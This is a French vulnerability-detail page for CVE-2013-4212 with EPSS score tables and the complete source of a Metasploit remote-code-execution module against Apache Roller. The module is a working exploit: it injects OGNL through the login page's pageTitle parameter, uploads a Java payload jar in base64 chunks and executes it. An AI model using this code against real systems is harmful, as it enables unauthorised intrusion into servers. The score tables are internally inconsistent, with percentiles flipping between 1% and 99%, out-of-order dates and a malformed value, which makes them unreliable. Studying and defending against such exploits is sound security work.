CVE-2013-4212 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	85.32%	–	–
2022-05-22	–	–	84.27%	–	–
2023-03-12	–	–	–	96.86%	–
2023-05-14	–	–	–	96.86%	–
2023-06-04	–	–	–	96.68%	–
2023-09-17	–	–	–	96.68%	–
2024-01-28	–	–	–	96.28%	–
2024-03-24	–	–	–	96.28%	–
2024-06-02	–	–	–	96.14%	–
2024-06-30	–	–	–	96.01%	–
2024-07-14	–	–	–	96.01%	–
2024-08-25	–	–	–	95.61%	–
2024-12-22	–	–	–	93.84%	–
2025-01-05	–	–	–	93.12%	–
2025-03-02	–	–	–	94.3%	–
2025-01-19	–	–	–	93.12%	–
2025-03-09	–	–	–	94.3%	–
2025-03-18	–	–	–	–	87.08%
2025-03-18	–	–	–	–	87.08,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	1%
2022-05-22	1%
2023-03-12	99%
2023-05-14	1%
2023-06-04	99%
2023-09-17	1%
2024-01-28	99%
2024-03-24	1%
2024-06-02	1%
2024-06-30	99%
2024-07-14	1%
2024-08-25	99%
2024-12-22	99%
2025-01-05	99%
2025-03-02	99%
2025-01-19	99%
2025-03-09	99%
2025-03-18	99%
2025-03-18	99%

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Roller OGNL Injection', 'Description' => %q{ This module exploits an OGNL injection vulnerability in Apache Roller < 5.0.2. The vulnerability is due to an OGNL injection on the UIAction controller because of an insecure usage of the ActionSupport.getText method. This module has been tested successfully on Apache Roller 5.0.1 on Ubuntu 10.04. }, 'Author' => [ 'Unknown', # From coverity.com / Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-4212'], [ 'URL', 'http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html'] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Privileged' => true, 'Targets' => [ [ 'Apache Roller 5.0.1', { } ] ], 'DisclosureDate' => 'Oct 31 2013', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to the Apache Roller application.', "/roller"]) ], self.class) end def execute_command(cmd) injection = "%24{(%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue,CMD,'')}" injection.gsub!(/CMD/, Rex::Text::uri_encode(cmd)) vprint_status("Attempting to execute: #{cmd}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"), 'encode_params' => false, 'vars_get' => { 'pageTitle' => injection } }) end def java_upload_part(part, filename, append = 'false') cmd = "#f=new java.io.FileOutputStream('#{filename}'+#a,#{append})," cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," cmd << "#f.close(),#a='#{@random_suffix}'" execute_command(cmd) end def exploit print_status("Checking injection...") if check == Exploit::CheckCode::Vulnerable print_good("Target looks vulnerable, exploiting...") else print_warning("Target not found as vulnerable, trying anyway...") end @random_suffix = rand_text_alphanumeric(3) # To avoid duplicate execution @payload_exe = rand_text_alphanumeric(4+rand(4)) + ".jar" append = 'false' jar = payload.encoded_jar.pack File.open("/tmp/#{@payload_exe}", "wb") do |f| f.write(jar) end chunk_length = 384 # 512 bytes when base64 encoded parts = jar.chars.each_slice(chunk_length).map(&:join) parts.each do |part| java_upload_part(part, @payload_exe, append) append = 'true' end register_files_for_cleanup("#{@payload_exe}null", "#{@payload_exe}#{@random_suffix}") cmd = "" # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1 cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," cmd << "#q.setAccessible(true),#q.set(null,true)," cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," cmd << "#q.setAccessible(true),#q.set(null,false)," # create classloader cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}'+#a).toURI().toURL()}),#a='#{rand_text_alphanumeric(4)}'," # load class cmd << "#c=#cl.loadClass('metasploit.Payload')," # invoke main method cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" execute_command(cmd) end def check addend_one = rand_text_numeric(rand(3) + 1).to_i addend_two = rand_text_numeric(rand(3) + 1).to_i sum = addend_one + addend_two res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"), 'vars_get' => { 'pageTitle' => "${new java.lang.Integer(#{addend_one}+#{addend_two})}", } }) if res and res.code == 200 and res.body =~ /#{sum}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end end